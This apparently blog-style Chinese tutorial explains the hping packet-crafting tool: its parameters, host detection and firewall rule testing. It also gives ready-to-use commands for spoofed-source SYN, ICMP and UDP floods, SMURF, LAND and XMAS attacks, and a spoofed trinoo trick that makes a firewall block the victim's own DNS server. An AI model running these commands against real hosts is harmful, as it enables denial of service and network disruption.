Hping使用方法詳解

一、原理基礎

Hping是一個命令行下使用的TCP/IP數據包組裝/分析工具,其命令模式很像Unix下的ping命令,但是它不是隻能發送ICMP迴應請求,它還可以支持TCP、UDP、ICMP和RAW-IP協議,它有一個路由跟蹤模式,能夠在兩個相互包含的通道之間傳送文件。Hping常被用於檢測網絡和主機,其功能非常強大,可在多種操作系統下運行,如Linux,FreeBSD,NetBSD,OpenBSD,Solaris,MacOs X,Windows。

HPING和ping的區別:典型ping程序使用的是ICMP回顯請求來測試,而HPING可以使用任何IP報文,包括ICMP、TCP、UDP、RAWSOCKET。

Hping的主要功能有:

防火牆測試
實用的端口掃描
網絡檢測,可以用不同的協議、服務類型(TOS)、IP分片
手工探測MTU(最大傳輸單元)路徑
先進的路由跟蹤,支持所有的協議
遠程操作系統探測
遠程的運行時間探測
TCP/IP堆棧審計







二、安裝

  • Centos

yum install hping
  • Debian/Ubuntu

apt-get install hping

三、Hping的詳細參數

-h —help 顯示幫助信息
-v —version 顯示Hping的版本信息
-c —count 指定數據包的次數
-i —interval 指定發包間隔爲多少毫秒,如-i m10:表示發包間隔爲10毫秒(附:秒、毫秒、微秒進率。1s=1000ms(毫秒)=1000000(微秒),1s=10^3ms(毫秒)=10^6μs(微秒))
—fast 與-i m100等同,即每秒鐘發送10個數據包(hping的間隔u表示微妙,--fast表示快速模式,一秒10個包。)
-n —numeric 指定以數字形式輸出,表示不進行名稱解析。
-q —quiet 退出Hping
-I —interface 指定IP,如本機有兩塊網卡,可通過此參數指定發送數據包的IP地址。如果不指定則默認使用網關IP
-V —verbose 詳細模式,一般顯示很多包信息。
-D —debug 定義hping使用debug模式。
-z —bind 將ctrl+z 綁定到ttl,默認使用DST端口
-Z —unbind 解除ctrl+z的綁定










指定所用的模式:
(缺省使用TCP進行PING處理)
-0 —rawip 裸IP方式,使用RAWSOCKET方式。
-1 —icmp ICMP 模式
-2 —udp UDP 模式
-8 —scan 掃描模式. (例: hping —scan 1-30,70-90 -S www.target.host)
-9 —listen 監聽模式,會接受指定的信息。偵聽指定的信息內容。





IP選項:

-a —spoof 源地址欺騙
—rand-dest 隨機目的地址模式
—rand-source 隨機源目的地址模式
-t —ttl ttl值,默認爲64
-N —id 指定id,默認是隨機的
-W —winid 使用win*的id 字節順序,針對不同的操作系統。
-r —rel 相對的id區域
-f —frag 將數據包分片後傳輸(可以通過薄弱的acl(訪問控制列表))
-x —morefrag 設置更多的分片標記
-y —dontfrag 設置不加分片標記
-g —fragoff 設置分片偏移
-m —mtu 設置虛擬MTU, 當數據包>MTU時要使用—frag 進行分片
-o —tos 指定服務類型,默認是0x00,,可以使用—tos help查看幫助
-G —rroute 包含RECORD_ROUTE選項並且顯示路由緩存
—lsrr 釋放源路記錄
—***r 嚴格的源路由記錄
-H —ipproto 設置協議範圍,僅在RAW IP模式下使用















ICMP選項

-C —icmptype 指定icmp類型(默認類型爲回顯請求)
-K —icmpcode 指定icmp編碼(默認爲0)
—force-icmp 發送所有ICMP數據包類型(默認只發送可以支持的類型) —icmp-gw 針對ICMP數據包重定向設定網關地址(默認是0.0.0.0)
—icmp-ts 相當於—icmp —icmptype 13(ICMP時間戳)
—icmp-addr 相當於—icmp —icmptype 17(ICMP地址掩碼)
—icmp-help 顯示ICMP的其它幫助選項




UDP/TCP選項

-s —baseport 基本源端口(默認是隨機的)
-p —destport 目的端口(默認爲0),可同時指定多個端口
-k —keep 仍然保持源端口
-w —win 指定數據包大小,默認爲64
-O —tcpoff 設置假的TCP數據偏移
-Q —seqnum 僅顯示TCP序列號
-b —badcksum 嘗試發送不正確IP校驗和的數據包(許多系統在發送數據包時使用固定的IP校驗和,因此你會得到不正確的UDP/TCP校驗和.)
-M —setseq 設置TCP序列號
-L —setack 使用TCP的ACK(訪問控制列表)
-F —fin 使用FIN標記set FIN flag
-S —syn 使用SNY標記
-R —rst 使用RST標記
-P —push 使用PUSH標記
-A —ack 使用 ACK 標記
-U —urg 使用URG標記
-X —xmas 使用 X 未用標記 (0x40)
-Y —ymas 使用 Y 未用標記 (0x80)
—tcpexitcode 最後使用 tcp->th_flags 作爲退出代碼
—tcp-timestamp 啓動TCP時間戳選項來猜測運行時間

















常規選項

-d —data 數據大小,默認爲0
-E —file 從指定文件中讀取數據
-e —sign 增加簽名
-j —dump 以十六進行形式轉存數據包
-J —print 轉存可輸出的字符
-B —safe 啓用安全協議
-u —end 當通過- -file指定的文件結束時停止並顯示,防止文件再從頭開始
-T —traceroute 路由跟蹤模式
—tr-stop 在路由跟蹤模式下當收到第一個非ICMP數據包時退出
—tr-keep-ttl 保持源TTL,對監測一個hop有用
—tr-no-rtt     使用路由跟蹤模式時不計算或顯示RTT信息









ARS數據包描述(新增加的內容,暫時還不穩定)
—apd-send 發送用描述APD的數據包

四、具體應用:

  • 每秒送10個(-i u10000)ICMP(-1)封包到www.abc.net.tw 僞造來源IP(-a)爲100.100.100.100

hping www.abc.net.tw -1 -i u100000 -a 100.100.100.100

注:-1爲數字非英文L

  • 每秒送1個(-i u1000000)TCP(default)封包到www.abc.net.tw的port 44444,僞造來源IP(-a)100.100.100.100使用的port爲22222

hping www.abc.net.tw –i u1000000 –a 100.100.100.100 –s 22222 –p 44444
  • SYN Flooding(每秒10個封包)

hping 目標主機IP –i u100000 –S –a 僞造來源IP
  • 僞造IP的ICMP封包(每秒10個封包)

hping 目標主機IP –i u100000 –1 –a 僞造來源IP

注:-1爲數字非英文

  • 不正常TCP Flag組合封包(每秒10個封包)

(a)SYN+FIN

hping 目標主機IP –i u100000 –S –F –a 僞造來源IP

(b)X’mas

hping 目標主機IP –i u100000 –F –S –R –P –A –U –a 僞造來源IP
  • 僞造IP的UDP封包

hping 目標主機IP –i u100000 –2 –a 僞造來源IP
  • 僞造IP內含CodeRed封包

hping 目標主機IP –i u100000 –d [封包datasize] –E [filename] –a [僞造來源IP]
  • SMURF***

hping2 -1 -a 192.168.1.5 192.168.1.255
  • XMAS TREE***

hping2 -SFRP 192.168.1.5
  • LAND***

hping2 -k -S -s 25 -p 25 -a 192.168.1.5 192.168.1.5
  • 用tcpdump記錄流量

#捕獲25000個包,將原始報文轉儲到dumpfile中cron任務: 5 3 * * * /usr/sbin/tcpdump -c 25000 -w dumpfile -n#查看記錄tcpdump -r dumpfile -X -vv
  • PING失效後的主機檢測:

$ping 192.168.2.1PING 192.168.2.1 (192.168.2.1) 56(84) bytes of data.
--- 192.168.2.1 ping statistics ---19 packets transmitted, 0 received, 100% packet loss, time 18009ms
------------------------------------------------$hping2 -c 4 -n -i 2 192.168.2.1HPING 192.168.2.1 (eth0 192.168.2.1): NO FLAGS are set, 40 headers + 0 data bytes
len=46 ip=192.168.2.1 ttl=64 id=43489 sport=0 flags=RA seq=0 win=0 rtt=1.0 ms
len=46 ip=192.168.2.1 ttl=64 id=43490 sport=0 flags=RA seq=1 win=0 rtt=0.6 ms
len=46 ip=192.168.2.1 ttl=64 id=43491 sport=0 flags=RA seq=2 win=0 rtt=0.7 ms
len=46 ip=192.168.2.1 ttl=64 id=43498 sport=0 flags=RA seq=3 win=0 rtt=0.6 ms
--- 192.168.2.1 hping statistic ---4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max = 0.6/0.8/1.0 ms

-c 發送4個報文-n不進行名稱解析 -i包發送時間間隔。

好處:即使主機阻塞了ICMP報文,也可以顯示主機是否在運行的信息,在關掉ICMP的探測有效!
顯示信息解釋:len,返回ip報文大小;ttl; id,IP的ID域;sport,源端口,flags,返回的IP報設置的TCP標誌 (R:RESET,A:ACK;S:SYN;F:FIN;P:PUSH;U:URGENT);seq:序列號;win:tcp窗口大小;rtt:往返 時,EIGRP似乎有這個設置。

  • 更復雜的實際的例子

step 1:目標主機安裝了blackice,它的ip address是ip.add.of.victim
step 2:發起***的一臺linux 機器,上面安裝了hping

執行如下命令#hping -p 31335 -e PONG -2 ip.add.of.victim -c 5 -d 4 -a ip.add.of.dnsserverHPING ip.add.of.victim (eth0 ip.add.of.victim): udp mode set, 28 headers
+ 4 data bytes
--- ip.add.of.victim hping statistic ---5 packets tramitted, 0 packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms#hping -p 31335 -e PONG -2 ip.add.of.victim -c 5 -d 4 -a www.google.comHPING ip.add.of.victim (eth0 ip.add.of.victim): udp mode set, 28 headers
+ 4 data bytes
--- ip.add.of.victim hping statistic ---5 packets tramitted, 0 packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms#hping -p 31335 -e PONG -2 ip.add.of.victim -c 5 -d 4 -a www.sina.comHPING ip.add.of.victim (eth0 ip.add.of.victim): udp mode set, 28 headers
+ 4 data bytes
--- ip.add.of.victim hping statistic ---5 packets tramitted, 0 packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms

上面的三個命令幹了同一件事情,以僞造的ip發送假的trinoo***數據包.

結果:在目標主機上所有僞造的ip地址網絡連接被block了,也就是對目標主機ip.add.of.victim而言,它的dns服務器,google和sina都無法訪問了。
我很懷疑目前的個人防火牆只要存在auto-block功能,就存在這一問題。

  • 防火牆規則測試

hping有類似NMAP的方法來檢測並收集關於潛在的防火牆的規則和能力的信息。
如果一個主機對ping沒有任何相應,而對hping有響應,假定目標的主機爲192.168.2.234.
一旦主機對hping作出了響應,那麼下一步我們先用nmap先進行一個端口掃描,當然這個hping2也可以作.

nmap -sT -P0 -p 21-25 192.168.2.234Starting Nmap 4.53 ( http://insecure.org ) at 2008-08-14 15:56 CST
Interesting ports on 192.168.2.234:
PORT STATE SERVICE21/tcp filtered ftp22/tcp open ssh23/tcp filtered telnet24/tcp filtered priv-mail25/tcp filtered smtp
Nmap done: 1 IP address (1 host up) scanned in 1.379 seconds

以上信息顯示除了ssh端口外,其他端口被阻塞.然後可以試試用hping向各個被阻塞的端口發送空的報文.用-p的開關,可以對指定的目的端口進行hping.

hping2 -p 21 192.168.2.234HPING 192.168.2.234 (eth0 192.168.2.234): NO FLAGS are set, 40 headers + 0 data bytes24: len=46 ip=192.168.2.234 ttl=128 id=2461 sport=24 flags=RA seq=7 win=0 rtt=0.7 ms
len=46 ip=192.168.2.234 ttl=128 id=2462 sport=24 flags=RA seq=8 win=0 rtt=0.7 ms25: len=46 ip=192.168.2.234 ttl=128 id=2463 sport=25 flags=RA seq=9 win=0 rtt=0.7 ms
len=46 ip=192.168.2.234 ttl=128 id=2464 sport=24 flags=RA seq=10 win=0 rtt=0.7 ms

前三個端口沒有響應,端口24 25 獲得了RST/ACK響應.這說明,雖然這些端口被禁止PING,但沒有工具在該端口上監聽.然而爲什麼NMAP沒有得到響應,因爲NMAP雖然使用 TCP連接,但它在TCP報頭中設置了TCP SYN標記位,而HPING 使用了空標記的報文,這就告訴我們說,在主機192.168.2.234上只阻塞進入的TCP連接.接下來使用hping創建一個SYN報文然後將其發送 到5個端口再測試.

hping2 -S -p 21 192.168.2.234HPING 192.168.2.234 (eth0 192.168.2.234): S set, 40 headers + 0 data bytes22: len=46 ip=192.168.2.234 ttl=128 id=10722 sport=22 flags=SA seq=1 win=0 rtt=1.2 ms
len=46 ip=192.168.2.234 ttl=128 id=10747 sport=22 flags=SA seq=2 win=0 rtt=0.7 ms

這次只有22端口響應,說明SSH端口是開放的,但有工具在上面監聽,該端口沒有進行過濾.
然後我們再創建一個ACK報文併發送:

hping2 -A -p 21 192.168.2.234HPING 192.168.2.234 (eth0 192.168.2.234): A set, 40 headers + 0 data bytes22: len=46 ip=192.168.2.234 ttl=128 id=12707 sport=22 flags=R seq=2 win=0 rtt=0.7 ms
len=46 ip=192.168.2.234 ttl=128 id=12708 sport=22 flags=R seq=3 win=0 rtt=0.7 ms23: len=46 ip=192.168.2.234 ttl=128 id=12709 sport=23 flags=R seq=4 win=0 rtt=0.7 ms
len=46 ip=192.168.2.234 ttl=128 id=12710 sport=22 flags=R seq=5 win=0 rtt=0.7 ms24: len=46 ip=192.168.2.234 ttl=128 id=12711 sport=24 flags=R seq=6 win=0 rtt=0.7 ms
len=46 ip=192.168.2.234 ttl=128 id=12712 sport=22 flags=R seq=7 win=0 rtt=0.7 ms25: len=46 ip=192.168.2.234 ttl=128 id=12712 sport=25 flags=R seq=8 win=0 rtt=0.8 ms
len=46 ip=192.168.2.234 ttl=128 id=12713 sport=22 flags=R seq=9 win=0 rtt=0.7 ms

結果除了21端口外所有端口都響應了RST,說明了:
1.端口22是開放的,但有工具在上面監聽.
2.24 25 上面沒有工具監聽,對NULL報文回顯.
3.端口23針對ACK報文以RST進行了響應,但沒有響應NULL報文.說明該端口被過濾,但是telnet服務運行在192.168.2.234上.
4.阻塞了進入的SYN報文但允許其他TCP報文通過,說明它採用的不是基於狀態的報文防火牆.




發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章